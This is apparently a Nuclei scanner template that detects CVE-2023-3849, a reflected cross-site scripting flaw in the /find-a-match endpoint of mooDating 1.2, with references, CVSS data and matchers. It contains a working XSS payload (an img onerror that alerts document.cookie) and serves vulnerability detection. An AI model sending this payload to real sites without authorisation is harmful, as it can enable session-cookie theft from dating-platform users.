id: CVE-2023-3849

info:
  name: mooDating 1.2 - Cross-site scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability, which was classified as problematic, was found in mooSocial mooDating 1.2. Affected is an unknown function of the file /find-a-match of the component URL Handler. The manipulation leads to cross site scripting. It is possible to launch the attack remotely.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the URL in the find-a-match endpoint to steal dating platform user session cookies and access personal profile information.
  remediation: |
    Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes and encodes URL parameters in the find-a-match component.
  reference:
    - https://packetstormsecurity.com/files/173691/mooDating-1.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3849
    - https://vuldb.com/?ctiid.235200
    - https://vuldb.com/?id.235200
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3849
    cwe-id: CWE-79
    epss-score: 0.03678
    epss-percentile: 0.88234
    cpe: cpe:2.3:a:moosocial:moodating:1.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moodating
  tags: cve2023,cve,packetstorm,xss,unauth,moodating,moosocial,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/find-a-matchpksyk"><img%20src%3da%20onerror%3dalert(document.cookie)>s9a64?'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "><img src=a onerror=alert(document.cookie)>s9a64") && contains(body, "mooDating")'
        condition: and
# digest: 490a004630440220342dd3d5bffff722fbec90c12f19fd82b28a043690eefc9e59652d5677cad13c02207a9ebec9110da0654a4822295e7a6645fc4640703baf0f3bee339157ba0a5934:922c64590222798bb761d5b6d8e72950